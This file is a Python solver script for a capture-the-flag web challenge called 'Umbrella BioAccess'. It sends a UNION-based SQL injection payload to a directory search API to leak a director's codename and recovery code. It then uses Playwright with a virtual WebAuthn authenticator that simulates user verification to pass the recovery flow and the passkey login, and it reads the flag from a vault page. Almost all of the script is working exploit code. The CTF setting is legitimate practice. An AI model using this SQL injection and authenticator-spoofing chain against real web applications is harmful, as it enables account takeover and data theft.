Files
Tajna-tretej-stolicy/web-umbrella-bio-access/solve/solver.py
2026-04-22 10:58:32 +03:00

148 lines
4.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import argparse
import re
import sys
from dataclasses import dataclass
from urllib.parse import urljoin
import requests
import urllib3
from playwright.sync_api import BrowserContext, Page, sync_playwright
DIRECTOR_QUERY = (
"') UNION ALL SELECT codename,recovery_code,division,dossier "
"FROM directory_public_view WHERE role='director' -- "
)
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
@dataclass
class DirectorProfile:
codename: str
recovery_code: str
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
parser.add_argument(
"--insecure",
action="store_true",
help="Disable TLS verification for self-signed challenge certificates",
)
parser.add_argument(
"--headful",
action="store_true",
help="Run Chromium in headful mode for debugging",
)
return parser.parse_args()
def api_url(base_url: str, path: str) -> str:
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
session = requests.Session()
session.verify = not insecure
if insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = session.post(
api_url(base_url, "/api/directory/search"),
json={"query": DIRECTOR_QUERY},
timeout=20,
)
response.raise_for_status()
payload = response.json()
items = payload.get("items", [])
for item in items:
codename = str(item.get("codename", ""))
display_name = str(item.get("displayName", ""))
if RECOVERY_CODE_RE.fullmatch(display_name):
return DirectorProfile(codename=codename, recovery_code=display_name)
raise RuntimeError("Director recovery vector not found in SQLi response")
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
cdp = context.new_cdp_session(page)
cdp.send("WebAuthn.enable")
cdp.send(
"WebAuthn.addVirtualAuthenticator",
{
"options": {
"protocol": "ctap2",
"transport": "internal",
"hasResidentKey": True,
"hasUserVerification": True,
"isUserVerified": True,
"automaticPresenceSimulation": True,
}
},
)
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
with sync_playwright() as playwright:
browser = playwright.chromium.launch(headless=not headful)
context = browser.new_context(ignore_https_errors=insecure)
page = context.new_page()
enable_virtual_authenticator(context, page)
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
page.get_by_test_id("recovery-submit").click()
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
page.get_by_test_id("login-codename").fill(profile.codename)
page.get_by_test_id("login-submit").click()
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
page.get_by_test_id("vault-fetch").click()
page.wait_for_function(
"""
() => {
const node = document.querySelector('[data-testid="vault-flag"]');
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
}
""",
timeout=20_000,
)
flag = page.get_by_test_id("vault-flag").text_content().strip()
browser.close()
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
raise RuntimeError("Vault returned no payload")
if not flag.lower().startswith("caplag{"):
raise RuntimeError(f"Unexpected flag format: {flag}")
return flag.lower()
def main() -> int:
args = parse_args()
try:
profile = discover_director(args.base_url, args.insecure)
print(f"[+] director codename: {profile.codename}")
print(f"[+] recovery code: {profile.recovery_code}")
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
print(f"[+] flag: {flag}")
return 0
except Exception as exc:
message = str(exc)
if "Executable doesn't exist" in message or "playwright install" in message.lower():
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
print(f"[-] solve failed: {message}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())